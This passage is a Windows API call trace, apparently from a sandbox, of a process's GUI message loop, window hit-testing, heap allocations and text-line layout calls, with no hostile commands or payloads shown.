[0157.491] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0157.491] GetCurrentThreadId () returned 0x4e0
[0157.491] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0157.803] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0157.803] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0157.803] GetCapture () returned 0x0
[0157.803] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0157.803] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0157.803] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0157.803] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0157.803] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0157.803] GetCurrentThreadId () returned 0x4e0
[0157.804] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0158.115] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0158.115] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0158.115] GetCapture () returned 0x0
[0158.115] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0158.115] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0158.115] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0158.115] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0158.115] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0158.115] GetCurrentThreadId () returned 0x4e0
[0158.115] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0158.427] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0158.427] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0158.427] GetCapture () returned 0x0
[0158.428] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0158.428] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0158.428] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0158.428] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0158.428] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0158.428] GetCurrentThreadId () returned 0x4e0
[0158.428] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0158.739] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0158.739] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0158.739] GetCapture () returned 0x0
[0158.739] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0158.739] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0158.739] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0158.739] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0158.739] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0158.739] GetCurrentThreadId () returned 0x4e0
[0158.739] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0159.051] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0159.051] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0159.051] GetCapture () returned 0x0
[0159.051] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0159.051] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0159.051] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0159.051] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0159.051] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0159.051] GetCurrentThreadId () returned 0x4e0
[0159.051] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0159.363] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0159.363] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0159.363] GetCapture () returned 0x0
[0159.363] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0159.363] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0159.364] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0159.364] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0159.364] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0159.364] GetCurrentThreadId () returned 0x4e0
[0159.364] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0159.675] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0159.675] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0159.675] GetCapture () returned 0x0
[0159.675] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0159.675] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0159.675] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0159.675] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0159.675] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0159.675] GetCurrentThreadId () returned 0x4e0
[0159.675] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0159.987] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0159.987] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0159.987] GetCapture () returned 0x0
[0159.987] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0159.987] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0159.987] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0159.987] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0159.987] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0159.987] GetCurrentThreadId () returned 0x4e0
[0159.987] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0160.299] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0160.299] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0160.299] GetCapture () returned 0x0
[0160.299] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0160.299] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0160.299] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0160.299] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0160.299] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0160.299] GetCurrentThreadId () returned 0x4e0
[0160.299] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0160.612] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0160.612] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0160.612] GetCapture () returned 0x0
[0160.612] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0160.612] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0160.612] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0160.612] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0160.612] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0160.612] GetCurrentThreadId () returned 0x4e0
[0160.612] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0160.923] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0160.923] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0160.923] GetCapture () returned 0x0
[0160.923] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0160.923] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0160.923] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0160.923] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0160.923] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0160.923] GetCurrentThreadId () returned 0x4e0
[0160.923] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0161.235] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0161.235] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0161.235] GetCapture () returned 0x0
[0161.235] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0161.235] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0161.235] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0161.235] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0161.235] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0161.235] GetCurrentThreadId () returned 0x4e0
[0161.235] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0161.379] NtdllDefWindowProc_W () returned 0x2
[0161.380] NtdllDefWindowProc_W () returned 0x0
[0161.382] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0161.382] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0161.382] NtdllDefWindowProc_W () returned 0x0
[0161.382] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0161.547] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0161.547] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0161.547] GetCapture () returned 0x0
[0161.547] WindowFromPoint (Point=0x2ea) returned 0x1012c
[0161.547] NtdllDefWindowProc_W () returned 0x2
[0161.547] IsChild (hWndParent=0x1013a, hWnd=0x1012c) returned 0
[0161.547] GetMessageTime () returned 85020
[0161.547] GetMessagePos () returned 0x3b02ea
[0161.548] KillTimer (hWnd=0x10136, uIDEvent=0x2003) returned 1
[0161.548] GetCapture () returned 0x0
[0161.548] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5cc | out: lpPoint=0x1cf5cc) returned 1
[0161.548] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0161.549] GetCurrentThreadId () returned 0x4e0
[0161.549] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0161.549] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0161.549] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0161.549] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0161.549] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0161.549] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0161.549] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0161.549] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0161.549] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0161.550] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0161.550] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0161.550] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0161.550] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0161.550] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0161.550] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0161.550] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x1cf6c4 | out: plResult=0x1cf6c4) returned 0x1
[0161.550] NtdllDefWindowProc_W () returned 0x0
[0161.550] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0161.550] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0171.456] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0171.456] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0171.456] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0171.456] PtInRect (lprc=0x1cf5d0, pt=0x336) returned 1
[0171.456] GetCurrentThreadId () returned 0x4e0
[0171.457] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0171.457] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0171.457] GetMessageTime () returned 85020
[0171.457] GetMessagePos () returned 0x3b02ea
[0171.457] GetCapture () returned 0x0
[0171.457] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0171.457] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.457] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0171.457] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0171.457] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.457] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0171.457] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0171.457] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0171.458] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.458] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0171.458] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.458] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0171.458] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.458] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0171.458] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0171.458] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0171.458] LsSetDoc () returned 0x0
[0171.459] LsCreateLine () returned 0x0
[0171.459] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.459] LsDestroyLine () returned 0x0
[0171.459] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0171.459] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0171.459] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0171.459] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.459] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0171.459] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0171.460] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0171.460] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0171.460] LsSetDoc () returned 0x0
[0171.460] LsCreateLine () returned 0x0
[0171.460] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.460] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0171.460] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] LsdnFinishRegular () returned 0x0
[0171.461] LsQueryLinePointPcp () returned 0x0
[0171.461] LsDestroyLine () returned 0x0
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0171.461] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0171.461] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0171.462] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0171.462] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0171.462] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.462] SetTimer (hWnd=0x10136, nIDEvent=0x2004, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2004
[0171.462] PtInRect (lprc=0x1cf27c, pt=0x13c9a) returned 0
[0171.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0171.462] GetCursor () returned 0x10003
[0171.462] ShowCursor (bShow=0) returned -1
[0171.462] SetCursor (hCursor=0x10005) returned 0x10003
[0171.463] ShowCursor (bShow=1) returned 0
[0171.463] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0171.463] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0171.463] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0171.463] GetMessageTime () returned 94926
[0171.463] GetMessagePos () returned 0x30b0370
[0171.463] GetCapture () returned 0x0
[0171.463] GetCurrentThreadId () returned 0x4e0
[0171.463] GetCurrentThreadId () returned 0x4e0
[0171.463] GetCurrentThreadId () returned 0x4e0
[0171.463] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0171.463] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0171.463] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0171.463] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.463] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0171.463] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0171.463] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0171.464] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0171.464] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0171.464] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0171.464] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
